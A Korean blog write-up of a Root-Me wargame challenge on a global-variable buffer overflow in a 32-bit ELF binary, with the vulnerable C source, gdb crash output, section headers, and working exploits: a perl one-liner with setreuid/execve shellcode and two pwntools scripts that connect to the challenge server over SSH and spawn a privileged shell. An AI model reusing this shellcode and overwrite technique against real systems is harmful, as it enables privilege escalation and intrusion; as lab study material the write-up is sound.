Wargame/Root me

[App-System] ELF x86 - BSS buffer overflow

wyv3rn 2022. 7. 8. 22:05
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <stdlib.h>
 
char username[512] = {1};
void (*_atexit)(int) =  exit;
 
void cp_username(char *name, const char *arg)
{
  while((*(name++) = *(arg++)));
  *name = 0;
}
 
int main(int argc, char **argv)
{
  if(argc != 2)
    {
      printf("[-] Usage : %s <username>\n", argv[0]);
      exit(0);
    }
   
  cp_username(username, argv[1]);
  printf("[+] Running program with username : %s\n", username);
   
  _atexit(0);
  return 0;
}

2.2. 분석

argv[1]을 받아 username 변수에 복사하고 이를 출력해준다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

cp_username 함수에서 argv에 의해 복사되는 길이가 결정되기에 name 변수의 크기를 넘어 overflow가 발생한다.

3.2. 공격 준비

솔직히 username 변수 크기가 512 byte 이길래 512 byte를 넣었더니 마지막 null 문자로 인해 segmentation fault가 뜨는 것을 확인할 수 있었고, 특별한 보호기법도 걸려있지 않았기에 nop + shellcode + nop + username address로 풀었다.

또한 512 byte 이상 넣으면 segmentation fault가 뜨는 것을 알고 있기 때문에 gdb로 username 주소를 쉽게 확인할 수 있었다.

gef➤  r `perl -e 'print "A"x516'`
Starting program: /challenge/app-systeme/ch7/ch7 `perl -e 'print "A"x516'`
[+] Running program with username : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x41414141 ("AAAA"?)
$ebx   : 0x0804a000  →  0x08049f14  →  <_DYNAMIC+0> add %eax, (%eax)
$ecx   : 0x0       
$edx   : 0xb7fc4890  →  0x00000000
$esp   : 0xbffff91c  →  0x0804851f  →  <main+132> add $0x10, %esp
$ebp   : 0xbffff938  →  0x00000000
$esi   : 0xb7fc3000  →  0x001d7d8c
$edi   : 0x0       
$eip   : 0x41414141 ("AAAA"?)
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033 
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbffff91c│+0x0000: 0x0804851f  →  <main+132> add $0x10, %esp    ← $esp
0xbffff920│+0x0004: 0x00000000
0xbffff924│+0x0008: 0x0804a040  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xbffff928│+0x000c: 0xbffff9f0  →  0xbffffd35  →  "PYTHON_EGG_CACHE=/tmp/eggs-app-systeme-ch7"
0xbffff92c│+0x0010: 0x080484af  →  <main+20> add $0x1b51, %ebx
0xbffff930│+0x0014: 0xbffff950  →  0x00000002
0xbffff934│+0x0018: 0x00000000
0xbffff938│+0x001c: 0x00000000   ← $ebp
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ch7", stopped 0x41414141 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x41414141 in ?? ()

 

4. exploit

유의할 점은 그냥 /bin/sh 만 실행할 경우 권한을 가지고오지 못한다는 점이며, 이에 setreuid()와 같이 권한 설정이 shellcode에 포함되어있어야 한다.

이는 http://shell-storm.org/shellcode/files/shellcode-399.php 에서 찾았다.

pp-systeme-ch7@challenge02:~$ ./ch7 `perl -e 'print "\x90"x100,"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80","A"x(512-100-34),"\x40\xa0\x04\x08"'`
[+] Running program with username : ����������������������������������������������������������������������������������������������������j1X���jFX�
                                Rhn/shh//bi����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@�
$ id
uid=1207(app-systeme-ch7-cracked) gid=1107(app-systeme-ch7) groups=1107(app-systeme-ch7),100(users)
$ cat .passwd
-------------- #플래그는 삭제

사실 이 문제의 목적은 전역변수로 변수가 선언되는 경우
변수의 초기값이 있는 경우 .data 영역에, 없는 경우 .bss 영역에 할당되는 것을 이해하라는 의미인 것 같다.

문제의 전역 변수는 1과 exit로 초기 값이 있기에 data 영역에 할당된 것을 알 수 있다.

app-systeme-ch7@challenge02:~$ objdump -h ch7

ch7:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048154  08048154  00000154  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048168  08048168  00000168  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048188  08048188  00000188  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .gnu.hash     00000024  080481ac  080481ac  000001ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynsym       00000060  080481d0  080481d0  000001d0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynstr       00000051  08048230  08048230  00000230  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version  0000000c  08048282  08048282  00000282  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version_r 00000020  08048290  08048290  00000290  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.dyn      00000010  080482b0  080482b0  000002b0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.plt      00000018  080482c0  080482c0  000002c0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .init         00000023  080482d8  080482d8  000002d8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .plt          00000040  08048300  08048300  00000300  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .plt.got      00000008  08048340  08048340  00000340  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .text         00000252  08048350  08048350  00000350  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         00000014  080485a4  080485a4  000005a4  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       0000004c  080485b8  080485b8  000005b8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame_hdr 0000004c  08048604  08048604  00000604  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .eh_frame     00000130  08048650  08048650  00000650  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 18 .init_array   00000004  08049f0c  08049f0c  00000f0c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .fini_array   00000004  08049f10  08049f10  00000f10  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .dynamic      000000e8  08049f14  08049f14  00000f14  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got          00000004  08049ffc  08049ffc  00000ffc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got.plt      00000018  0804a000  0804a000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .data         00000224  0804a020  0804a020  00001020  2**5
                  CONTENTS, ALLOC, LOAD, DATA
 24 .bss          00000004  0804a244  0804a244  00001244  2**0
                  ALLOC
 25 .comment      00000029  00000000  00000000  00001244  2**0
                  CONTENTS, READONLY

ps. pwntool python coding으로 풀고 싶은데 뭐가 영 안된다... ㅠㅠ


2022.07.14 update

pwntool로 exploit

from pwn import *
import subprocess

shellcode=b'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'

totlen = 512

pay = ['' for i in range(2)]
pay[0] = './ch7'
pay[1] = b''
pay[1] += b'\x90'*50
pay[1] += shellcode
pay[1] += b'\x90'*(totlen-len(pay[1]))
pay[1] += p32(0x0804a040)

s = ssh(user='app-systeme-ch7',host='challenge02.root-me.org',port=2222,password='app-systeme-ch7')
p = s.process(pay)
p.interactive()

또는

from pwn import *
import subprocess

shellcode=b'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'

totlen = 512

pay = b''
pay += b'\x90'*50
pay += shellcode
pay += b'\x90'*(totlen-len(pay))
pay += p32(0x0804a040)

file = ['./ch7',pay]

s = ssh(user='app-systeme-ch7',host='challenge02.root-me.org',port=2222,password='app-systeme-ch7')
p = s.process(file)
p.interactive()
728x90
반응형